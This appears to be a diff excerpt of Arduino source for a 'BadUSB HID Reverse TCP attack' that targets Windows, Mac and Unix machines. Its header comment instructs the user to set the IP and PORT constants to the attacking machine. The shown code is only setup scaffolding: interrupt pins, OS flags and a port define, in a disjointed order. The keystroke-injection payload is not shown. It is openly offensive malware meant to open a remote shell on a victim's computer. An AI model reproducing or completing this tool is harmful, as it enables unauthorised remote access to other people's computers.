 /*
- * BadUSB - HID Reverse TCP attack for Win and *Nix OS - Last update 08/12/2016 - Copyright (c) by grcasanova
+ * BadUSB - HID Reverse TCP attack for Win, Mac and Unix OS - Last update 25/10/2018 - Copyright (c) by grcasanova
  *
  * change IP and PORT constants to match the attacking machine details
  *

  pinMode(1, OUTPUT); //LED on Model A
  pinMode(interruptPin0, INPUT_PULLUP);
  pinMode(interruptPin1, INPUT_PULLUP);
  
  // interrups setup
  attachInterrupt(digitalPinToInterrupt(interruptPin0), setWinFlag, CHANGE); // attach INT0 interrupt
  attachInterrupt(digitalPinToInterrupt(interruptPin1), setNixFlag, CHANGE); // attach INT1 interrupt
}

// Win Os flag setup

#define PORT "0"
#define WIN_FLAG 100
#define NIX_FLAG 200
#define MAC_FLAG 300

static int run;
unsigned int address = 0;
const byte interruptPin0 = 0;
const byte interruptPin1 = 1;
const byte interruptPin2 = 3;

void blinkLed();
bool win_os();
